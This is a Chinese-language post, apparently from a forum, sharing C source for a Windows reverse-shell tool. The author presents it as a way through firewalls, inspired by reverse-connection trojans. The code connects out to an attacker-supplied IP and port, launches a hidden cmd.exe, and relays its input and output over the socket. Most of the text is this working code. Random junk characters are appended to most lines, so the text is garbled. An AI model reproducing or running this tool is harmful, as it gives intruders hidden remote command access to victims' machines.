这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S tnv>
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/* ============================== N4mJU'_{
Rebound port in Windows NT s;2/Nc
By wind,2006/7 ~59`S#ax/l
===============================*/ pP* ~ =?
#include 8i;)|z7
#include VtO;UN
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#pragma comment(lib,"wsock32.lib") 7sc<dM
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void OutputShell(); ,LW+7yD
SOCKET sClient; c5E#QV0&v~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [OZ=iz.
rN1U.FRe/
void main(int argc,char **argv) -
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{ ~sIGI?5f
WSADATA stWsaData; [z% ?MIT
int nRet; zk5=Opmvh
SOCKADDR_IN stSaiClient,stSaiServer; "6N~2q,SW
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if(argc != 3) 7grt4k
{ Bw<zc=%
printf("Useage:\n\rRebound DestIP DestPort\n"); x} &a{;
return; ]hE+$sKd
} .S!>9X,
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WSAStartup(MAKEWORD(2,2),&stWsaData); a-5HIY5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pAil]f6
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stSaiClient.sin_family = AF_INET; <s/<b*T
^
stSaiClient.sin_port = htons(0); d)0LVa(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (+UmUx=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~#"7,r Qp
{ )ojx_3j8
printf("Bind Socket Failed!\n"); Nxb\[
return; E-sSRt
} :,NFFN
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stSaiServer.sin_family = AF_INET; qsihQd
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x(9;!4O>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Fkcx+d
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Er"R;l]xJ
{ LgP> u?]n
printf("Connect Error!"); Qq T/1^imS
return; kqD*TJA
} >wKu6-
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OutputShell(); eb!s'@
} DhLr^Z!h3;
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void OutputShell() O
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{ mN\%fJ7
char szBuff[1024]; K
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SECURITY_ATTRIBUTES stSecurityAttributes; rToaGQh
OSVERSIONINFO stOsversionInfo; "[*S?QO(L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /WgPXE B
STARTUPINFO stStartupInfo; =Y&9
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char *szShell; ?aFr8i:)M
PROCESS_INFORMATION stProcessInformation; BFMS*t`
unsigned long lBytesRead; 5[,+\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <E>7>ZL
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C}mYt/
stSecurityAttributes.lpSecurityDescriptor = 0; eC6>yD6D
stSecurityAttributes.bInheritHandle = TRUE; \fK47oV
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#%?FM>
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J}Qs"+x
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]8$#qDS@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =[]x\&@t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1l/AKI(!
stStartupInfo.wShowWindow = SW_HIDE; 4>4V-m\
stStartupInfo.hStdInput = hReadPipe; ;w`sz.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *A?8F"6>
{ExII<=6
GetVersionEx(&stOsversionInfo); h@*lWi2K7
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switch(stOsversionInfo.dwPlatformId) nnt8 sf@\
{ i`[#W(m
case 1: 5vD3K!\u
szShell = "command.com"; J| SwQE~
break; 6exI_3A4jh
default: YBX)eWslK
szShell = "cmd.exe"; (U|)xA]y!
break; XC|*A$x,
} )v%l0_z{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -#LjI.
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send(sClient,szMsg,77,0); /8xH$n&xoC
while(1) wgY6D!Y
{ 9p<:=T
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [34zh="o
if(lBytesRead) 1ZT^)/ G
{ Wrmgu}q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3A-*vaySV
send(sClient,szBuff,lBytesRead,0); "\}b!gl$8
} Q_ctX|.
else a9[mZVMgUK
{ i=oTg
lBytesRead=recv(sClient,szBuff,1024,0); _
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if(lBytesRead<=0) break; `-VG ?J
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w6vLNX
} fO K|:
} sffhPX\I
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return; @-0Fe9 n=
}